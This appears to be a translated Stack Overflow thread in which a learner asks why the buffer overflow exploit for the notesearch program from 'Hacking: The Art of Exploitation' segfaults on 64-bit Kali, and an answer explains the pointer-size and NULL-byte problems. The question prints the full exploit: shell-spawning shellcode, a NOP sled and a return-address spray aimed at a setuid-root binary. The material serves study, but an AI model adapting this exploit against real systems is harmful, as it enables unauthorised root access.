簡體   English   中英

為什么我在“黑客:剝削的藝術”中的exploit_notesearch 程序中出現分段錯誤?

[英]Why do I get a segmentation fault in the exploit_notesearch program from “Hacking: The Art of Exploitation”?

因此,首先,我使用的是完全更新的 Kali 2020.1。 64 位。 源代碼如下:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include "hacking.h"
#include <unistd.h>
#include <stdlib.h>
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";

int main(int argc, char *argv[]) {
    long int i, *ptr, ret, offset=270;
    char *command, *buffer;
    command = (char *) malloc(200);

    bzero(command, 200); // Zero out the new memory.
    strcpy(command, "./notesearch \'"); // Start command buffer.
    buffer = command + strlen(command); // Set buffer at the end.
    if(argc > 1) // Set offset.
        offset = atoi(argv[1]);
    ret = (long int) &i - offset; // Set return address.

    for(i=0; i < 160; i+=4) // Fill buffer with return address.
        *((unsigned int *)(buffer+i)) = ret;

   memset(buffer, 0x90, 60); // Build NOP sled.
   memcpy(buffer+60, shellcode, sizeof(shellcode)-1);
   strcat(command, "\'");
   system(command); // Run exploit.
   free(command);
} 

現在,一些重要的澄清。 我包含了所有這些庫,因為沒有它們編譯會引發警告。 前面的notetaker和notesearch程序,以及這個exploit_notesearch程序在終端編譯如下:

gcc -g -mpreferred-stack-boundary=4 -no-pie -fno-stack-protector -Wl,-z,norelro -z execstack -o exploit_notesearch exploit_notesearch.c 

我不再記得源說我必須以這種方式編譯(他們的首選堆棧邊界是 2,但我的機器要求它在 4 到 12 之間)。 此外,如您所見,堆棧現在是可執行的。

所有 3 個程序(notetaker、notesearch 和exploit_notesearch)都按照書中的方式修改了它們的權限:

sudo chown root:root ./program_name
sudo chmod u+s ./program_name      

我嘗試遵循此鏈接中的解決方案: 調試緩沖區溢出示例,但無濟於事。 此鏈接也是如此: Shellcode Exploit 不那么快

通過使用 for 循環在終端中使用 1、10、20 和 30 的增量將偏移量從 0 增量更改為 330 也不能解決我的問題。 無論我做什么,我都會遇到分段錯誤。

在我的情況下可能是什么問題,克服上述問題的最佳方法是什么? 謝謝你。

PS 我記得讀到我應該使用 64 位 shellcode 而不是提供的那個。

當您出現段錯誤時,最好在 GDB 之類的調試器中運行它。 它應該告訴您崩潰的正確位置,並且您可以逐步執行並驗證您所做的假設。 最常見的段錯誤往往是無效的 memory 權限(例如嘗試執行不可執行的頁面)或無效指令(例如,如果您進入 shellcode 的中間,而不是 NOP 雪橇)。

您在嘗試將漏洞利用轉換為在 32 位上工作時遇到了幾個問題。 當用返回地址填充緩沖區時,當 64 位上的指針實際上是8個字節時,它使用常量4

for(i=0; i < 160; i+=4) // Fill buffer with return address.
    *((unsigned int *)(buffer+i)) = ret;

在嘗試利用strcpy錯誤時,這也可能會出現一些問題,因為這些 64 位地址將包含 NULL 字節(因為可用地址空間僅使用 8 個字節中的 6 個)。 因此,如果您在實際覆蓋堆棧上的返回地址之前有一些過早的 NULL 字節,您實際上不會復制足夠的數據來按預期利用溢出。

暫無
暫無

聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.

 
粵ICP備18138465號  © 2020-2024 STACKOOM.COM